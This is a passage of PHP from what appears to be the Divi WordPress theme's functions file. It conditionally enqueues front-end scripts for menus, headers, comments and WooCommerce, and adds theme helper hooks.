if ( 'on' === et_get_option( 'divi_smooth_scroll', 'off' ) ) {
wp_enqueue_script( 'smoothscroll', get_template_directory_uri() . '/js/smoothscroll.js', array(), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_smoothscroll' );
/**
* Enqueue WooCommerce scripts if WooCommerce is enabled.
*/
function et_enqueue_theme_scripts_woocommerce() {
$theme_version = et_get_theme_version();
if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
wp_enqueue_script( 'divi-theme-scripts-library-woocommerce', get_template_directory_uri() . '/js/theme-scripts-library-woocommerce.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_woocommerce' );
/**
* Enqueue Slide-In Header scripts if enabled.
*/
function et_enqueue_theme_scripts_slide_in_header() {
$theme_version = et_get_theme_version();
if ( et_disable_js_on_demand_theme() || is_customize_preview() || 'slide' === et_get_option( 'header_style', 'left' ) || 'fullscreen' === et_get_option( 'header_style', 'left' ) && ! et_is_theme_builder_header_used() ) {
wp_enqueue_script( 'divi-theme-scripts-library-slide-in-header', get_template_directory_uri() . '/js/theme-scripts-library-slide-in-header.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_slide_in_header' );
/**
* Enqueue Vertical Menu scripts if enabled.
*/
function et_enqueue_theme_scripts_vertical_menu() {
$theme_version = et_get_theme_version();
if ( et_disable_js_on_demand_theme() || is_customize_preview() || et_get_option( 'vertical_nav', false ) && ! et_is_theme_builder_header_used() ) {
wp_enqueue_script( 'divi-theme-scripts-library-vertical-menu', get_template_directory_uri() . '/js/theme-scripts-library-vertical-menu.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_vertical_menu' );
/**
* Enqueue Side Nav scripts if enabled.
*/
function et_enqueue_theme_scripts_side_nav() {
$theme_version = et_get_theme_version();
$post_id = get_the_ID();
if ( 'on' === get_post_meta( $post_id, '_et_pb_side_nav', true ) ) {
wp_enqueue_script( 'divi-theme-scripts-library-side-nav', get_template_directory_uri() . '/js/theme-scripts-library-side-nav.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_side_nav' );
/**
* Enqueue comments scripts on single posts with comments enabled and the builder disabled.
*/
function et_enqueue_theme_scripts_comments() {
$theme_version = et_get_theme_version();
$post_id = get_the_ID();
if ( ( is_single() || is_page() || is_home() ) && comments_open() && ! et_pb_is_pagebuilder_used( $post_id ) ) {
wp_enqueue_script( 'divi-theme-scripts-library-comments', get_template_directory_uri() . '/js/theme-scripts-library-comments.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_comments' );
/**
* Enqueue Full Screen Menu scripts if enabled.
*/
function et_enqueue_theme_scripts_full_screen_menu() {
$theme_version = et_get_theme_version();
if ( et_disable_js_on_demand_theme() || is_customize_preview() || 'slide' === et_get_option( 'header_style', 'left' ) || 'fullscreen' === et_get_option( 'header_style', 'left' ) && ! et_is_theme_builder_header_used() ) {
wp_enqueue_script( 'divi-theme-scripts-library-full-screen-menu', get_template_directory_uri() . '/js/theme-scripts-library-full-screen-menu.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_full_screen_menu' );
/**
* Enqueue Hide Menu scripts if enabled.
*/
function et_enqueue_theme_scripts_hide_menu() {
$theme_version = et_get_theme_version();
if ( et_disable_js_on_demand_theme() || is_customize_preview() || et_get_option( 'hide_nav', false ) && ! et_is_theme_builder_header_used() ) {
wp_enqueue_script( 'divi-theme-scripts-library-hide-menu', get_template_directory_uri() . '/js/theme-scripts-library-hide-menu.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_hide_menu' );
/**
* Enqueue Split Menu scripts if enabled.
*/
function et_enqueue_theme_scripts_split_menu() {
$theme_version = et_get_theme_version();
if ( et_disable_js_on_demand_theme() || is_customize_preview() || 'split' === et_get_option( 'header_style', 'left' ) && ! et_is_theme_builder_header_used() ) {
wp_enqueue_script( 'divi-theme-scripts-library-split-menu', get_template_directory_uri() . '/js/theme-scripts-library-split-menu.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_split_menu' );
/**
* Enqueue Search Menu scripts if enabled.
*/
function et_enqueue_theme_scripts_search_menu() {
$theme_version = et_get_theme_version();
if ( et_disable_js_on_demand_theme() || is_customize_preview() || et_get_option( 'show_search_icon', true ) && ! et_is_theme_builder_header_used() ) {
wp_enqueue_script( 'divi-theme-scripts-library-search-menu', get_template_directory_uri() . '/js/theme-scripts-library-search-menu.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_search_menu' );
/**
* Enqueue Menu scripts if enabled.
*/
function et_enqueue_theme_scripts_menu() {
$theme_version = et_get_theme_version();
if ( et_disable_js_on_demand_theme() || is_customize_preview() || ! et_is_theme_builder_header_used() ) {
wp_enqueue_script( 'divi-theme-scripts-library-menu', get_template_directory_uri() . '/js/theme-scripts-library-menu.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_menu' );
/**
* Enqueue Scroll To Top button scripts if enabled.
*/
function et_enqueue_theme_scripts_scroll_to_top() {
$theme_version = et_get_theme_version();
if ( 'on' === et_get_option( 'divi_back_to_top', 'false' ) ) {
wp_enqueue_script( 'divi-theme-scripts-library-scroll-to-top', get_template_directory_uri() . '/js/theme-scripts-library-scroll-to-top.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_scroll_to_top' );
/**
* Enqueue Transparent Menu scripts if enabled.
*/
function et_enqueue_theme_scripts_transparent_menu() {
$theme_version = et_get_theme_version();
if ( et_disable_js_on_demand_theme() || is_customize_preview() || et_divi_is_transparent_primary_nav() && ! et_is_theme_builder_header_used() ) {
wp_enqueue_script( 'divi-theme-scripts-library-transparent-menu', get_template_directory_uri() . '/js/theme-scripts-library-transparent-menu.js', array( 'jquery' ), $theme_version, true );
}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_theme_scripts_transparent_menu' );
function et_add_mobile_navigation(){
if ( is_customize_preview() || ( 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) ) {
printf(
'',
esc_html__( 'Select Page', 'Divi' )
);
}
}
add_action( 'et_header_top', 'et_add_mobile_navigation' );
/**
* Check if a Theme Builder header is used on the current page.
*
* @since ??
*/
function et_is_theme_builder_header_used() {
$request = ET_Theme_Builder_Request::from_current();
$tb_layouts = null !== $request ? et_theme_builder_get_template_layouts( $request ) : array();
if ( ! empty( $tb_layouts ) ) {
if ( ! empty( $tb_layouts ) && $tb_layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['override'] ) {
return true;
}
}
return false;
}
/**
* Check if Dynamic JavaScript Libraries is enabled.
*
* @since ??
*/
function et_disable_js_on_demand_theme() {
// TODO feat(D5, To be revisited) Remove this or deprecate the function during Divi 5 test.
// We are temporarily returning overriding this function to force Dynamic Assets to be on to improve performance.
if ( ! is_preview() && ! is_customize_preview() ) {
return false;
}
static $et_disable_js_on_demand_theme = null;
if ( null === $et_disable_js_on_demand_theme ) {
$option = et_get_option( 'divi_dynamic_js_libraries', 'on' );
if ( 'on' !== $option ) {
$et_disable_js_on_demand_theme = true;
} else {
$et_disable_js_on_demand_theme = false;
}
/**
* Filters whether to disable JS on demand for theme scripts.
*
* @since ??
*
* @param bool $et_disable_js_on_demand_theme
*/
$et_disable_js_on_demand_theme = apply_filters( 'et_disable_js_on_demand_theme', (bool) $et_disable_js_on_demand_theme );
}
return $et_disable_js_on_demand_theme;
}
function et_add_viewport_meta(){
echo '
';
}
add_action( 'wp_head', 'et_add_viewport_meta' );
function et_remove_additional_stylesheet( $stylesheet ){
global $default_colorscheme;
return $default_colorscheme;
}
add_filter( 'et_get_additional_color_scheme', 'et_remove_additional_stylesheet' );
if ( ! function_exists( 'et_list_pings' ) ) :
function et_list_pings($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>